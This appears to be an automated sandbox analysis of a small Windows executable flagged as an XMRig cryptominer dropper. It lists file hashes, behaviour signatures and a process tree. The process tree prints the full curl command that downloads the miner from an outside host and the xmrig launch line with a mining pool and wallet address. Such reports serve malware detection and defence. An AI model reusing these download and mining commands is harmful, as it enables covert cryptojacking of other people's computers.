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11-03-2024 20:53

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Analysis

  • max time kernel
    140s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11-03-2024 20:54

General

  • Target

    test - Copy (12).exe

  • Size

    6KB

  • MD5

    4634098fe194204dc03f967cc0b19cd6

  • SHA1

    eaa58619c6cea9f148cec61ee504cd727b3e80d8

  • SHA256

    a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c

  • SHA512

    64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d

  • SSDEEP

    96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 12 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\test - Copy (12).exe
    "C:\Users\Admin\AppData\Local\Temp\test - Copy (12).exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:968
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\f0B1DkBz.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:776
      • C:\Windows\system32\curl.exe
        curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
        3⤵
          PID:1964
        • C:\Windows\system32\tar.exe
          tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
          3⤵
            PID:632
          • C:\xmrig\xmrig-6.21.1\xmrig.exe
            C:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield
            3⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:3988

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\f0B1DkBz.bat

        Filesize

        421B

        MD5

        67d11b392feb0ad59fc11ff3e79dfeee

        SHA1

        7df5785988cb76c4893773614572c93baaa18717

        SHA256

        69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

        SHA512

        50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

      • C:\xmrig\xmrig-6.21.1-gcc-win64.zip

        Filesize

        1.9MB

        MD5

        0b8bebe768270f5ee7b5467cc6c2c91a

        SHA1

        8d5c72f040946a4f3ac1b76b9f0b415c62603ffe

        SHA256

        1ffc3f91e7f50949efa3280d20ac5ccefa26cb079610906d0d730b1f59eae51b

        SHA512

        709eebfd900740779c944cb06bc99be31e5277fbb0c7e5909c7b568784a810cf81b64200cee925890c14f4fba384c15970a86740589d5ab057f447e2dd347dee

      • C:\xmrig\xmrig-6.21.1\xmrig.exe

        Filesize

        1.8MB

        MD5

        78dbb99aba1f459c508197c7a82d9936

        SHA1

        298446dd64686c4f7e0dc31ff6ccc2d72d516e59

        SHA256

        9066cc9e474657962177666d749656c75a1d90d6e2adb9a26ea39e13136a2086

        SHA512

        414206575fe47734cafda720da623ed3000801be290343a7134cc2b240b8050cc0f434890e66078d898da7c0cfac77e261c4c791bed8675b213ed1ffe0b2be2b

      • memory/968-0-0x0000000000110000-0x0000000000118000-memory.dmp

        Filesize

        32KB

      • memory/968-5-0x00007FF832910000-0x00007FF8333D1000-memory.dmp

        Filesize

        10.8MB

      • memory/968-22-0x00007FF832910000-0x00007FF8333D1000-memory.dmp

        Filesize

        10.8MB

      • memory/3988-27-0x000001F79F740000-0x000001F79F760000-memory.dmp

        Filesize

        128KB

      • memory/3988-32-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

        Filesize

        11.0MB

      • memory/3988-25-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

        Filesize

        11.0MB

      • memory/3988-26-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

        Filesize

        11.0MB

      • memory/3988-23-0x000001F79DE30000-0x000001F79DE50000-memory.dmp

        Filesize

        128KB

      • memory/3988-28-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

        Filesize

        11.0MB

      • memory/3988-29-0x000001F79F760000-0x000001F79F780000-memory.dmp

        Filesize

        128KB

      • memory/3988-30-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

        Filesize

        11.0MB

      • memory/3988-31-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

        Filesize

        11.0MB

      • memory/3988-24-0x000001F79DE70000-0x000001F79DE90000-memory.dmp

        Filesize

        128KB

      • memory/3988-33-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

        Filesize

        11.0MB

      • memory/3988-34-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

        Filesize

        11.0MB

      • memory/3988-35-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

        Filesize

        11.0MB

      • memory/3988-36-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

        Filesize

        11.0MB

      • memory/3988-37-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

        Filesize

        11.0MB

      • memory/3988-38-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

        Filesize

        11.0MB

      • memory/3988-39-0x00007FF6B6E70000-0x00007FF6B7974000-memory.dmp

        Filesize

        11.0MB